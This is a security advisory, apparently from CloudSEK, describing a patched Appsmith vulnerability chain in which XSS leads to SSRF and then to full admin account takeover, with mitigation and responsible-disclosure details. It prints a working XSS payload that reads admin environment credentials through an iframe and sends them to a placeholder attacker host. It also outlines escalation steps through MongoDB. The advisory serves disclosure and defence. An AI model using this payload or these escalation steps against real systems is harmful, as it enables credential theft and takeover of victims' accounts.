Authors : Sparsh Kulshrestha and Shashank Bharthwal
Editor : Deepanjli Paulraj

Executive Summary

THREAT	IMPACT	MITIGATION
Several vulnerabilities in Appsmith (which have now been patched) can be chained to achieve one-click full admin account takeover. Attackers can first exploit an XSS vulnerability to steal internal MongoDB credentials, then exploit an SSRF vulnerability to connect to the internal MongoDB.	The XSS vulnerability exposes sensitive auth tokens and credentials in the “/api/v1/admin/env” file from the admin’s account. Using the stolen credentials, the SSRF vulnerability can be exploited to execute insert/update/delete queries on the internal DB.	Maintain a whitelist of domains or addresses that your application accesses. The root vulnerabilities in this chain (CVE-2022-38298 and CVE-2022-38299) have been fixed by Appsmith. Update to versions 1.7.12 and above.

Proof of Concept

Exfiltration of data through XSS

While navigating the different widgets available in Appsmith, we encountered an widget called Iframe. Using this widget users can insert iframes with arbitrary URLs and srcDoc in their Appsmith dashboards. We observed that the field named srcDoc is vulnerable to XSS.

The XSS could have been used to steal admin session cookies but the session cookies were marked as HttpOnly and hence are not accessible via Javascript.

Even though we couldn’t gain access to the cookies, we were able to use an iframe to fetch sensitive content from an API endpoint that only administrators have access to. One such endpoint was “/api/v1/admin/env” which contains the environment variables of Appsmith, including infrastructure-related credentials. Any other user apart from the administrator can not access the endpoint.

Environment endpoint not accessible only to the admin

Since we have the capability to inject an iframe and execute arbitrary javascript, the admin can be tricked into loading the iframe successfully allowing javascript access to the contents of the iframe.

As a proof of concept the following code was injected in the srcDoc field, to insert an iframe that loads the admin environment endpoint and fetches the content of the iframe as soon as it finishes loading. Once the data is exfiltrated, it is sent to the attacker’s VPS where it can be decoded.

<html>
<head>
<script>
function fetchContent() {
var content = document.getElementById(“adminData”).contentDocument.body.getElementsByTagName(“pre”).innerHTML;
b64encodedContent = btoa(content);
document.location = “http://<attackers_ip:port>/exfiltrate?data=”+b64encodedContent;
}
</script>
</head>
<body>
<p>Exploit</p>
<iframe id=”adminData” src=”/api/v1/admin/env” onload=”fetchContent();”>
</iframe>
</body>
</html>

Exploit Code for iframe injection and data exfiltration

Once the exploit is ready, it needs to be published so that other users can access it. This can be done by making the Appsmith dashboard public, and can be accessed by anyone.

Once the dashboard is published and is available to the public via a link, the link is sent to the administrator. As soon as the administrator clicks the link and views the dashboard, the iframe of the sensitive endpoint is loaded. Then the javascript steals the content of the iframe and sends it to the attacker. Here is how data is received on the attacker’s end when the administrator visits the malicious dashboard.

Now, this base64 encoded data can be decoded by the attacker by running the following command:

$ echo “<base64_encoded_data>” | base64 –decode

The decoded MongoDB credentials can be used for further investigation and exploitation.

Access to Internal MongoDB via SSRF

From our previous testing on Appsmith, we know that there are protections that restrict access to the cloud instances’ internal metadata but there are no restrictions on the localhost. In addition, Appsmith has a feature which allows users to connect MongoDB as a data source.

We then checked if this functionality can be used to connect to the internal MongoDB running on localhost. This was done by filling the connection and authentication details obtained previously into the form which allows users to connect to MongoDB as a data source.

On clicking on the “Save” option, the data source was added successfully. After which, we were able to view all the collections in the Appsmith database, on the UI.

Escalating privileges to Administrator

For each of these collections, it was possible to run the following DB queries

INSERT
UPDATE
DELETE
FIND

Out of all the collections, the one named “Users” contains the details of all users on the platform.

At this stage there are several ways to escalate privileges to an administrator. It is even possible to modify the admin user password hash or add admin policies to our user. We proceeded by fetching the admin policies from MongoDB, using the FIND command.

We found that the administrator account has the following policies associated with it.

“policies”: , “permission”: “manage:userWorkspace”, “users”: }, { “groups”: [], “permission”: “read:userWorkspace”, “users”: }, { “groups”: [], “permission”: “read:users”, “users”: }, { “groups”: [], “permission”: “manage:users”, “users”: }, { “groups”: [], “permission”: “manage:instanceEnv”, “users”: } ]

Then, using the update command, we updated the policies assigned to our user with the admin policies. On clicking on “RUN” we got a successful response from MongoDB.

Updating the policies of our user using the UPDATE command

Validation

To validate the vulnerability, we logged in to our user account via a different browser and found that it had access to all admin functionalities and permissions to manage users, workspaces, and instances.

Admin settings are accessible by our user

We tried accessing the endpoint i.e. “/api/v1/admin/env”, which only administrators, and got a successful response from the server.

Impact

Attackers can first exploit the XSS vulnerability to steal internal MongoDB credentials, then an SSRF vulnerability can be exploited to connect to internal MongoDB to execute DB queries and achieve full account takeover or privilege escalation.

Also, Appsmith does not have a signup restriction in the default installation. So if an Appsmith instance is exposed to the internet, anyone can signup and have access to the vulnerable functionality in which the SSRF vulnerability was discovered.

This can have large-scale impact, given that over a 1000 Appsmith instances are exposed on the internet:

Shodan results for public Appsmith instances

Mitigation

The root vulnerabilities in this chain (CVE-2022-38298 and CVE-2022-38299) have been fixed by Appsmith
Maintain a whitelist of domains or addresses that your application accesses
Update to versions 1.7.12 and above.

Responsible Disclosure

CloudSEK submitted this vulnerability to Appsmith via their well-defined vulnerability disclosure process. Subsequently, the Appsmith team fixed this issue in their next release. Appsmith versions 1.7.12 and above do not have this vulnerability.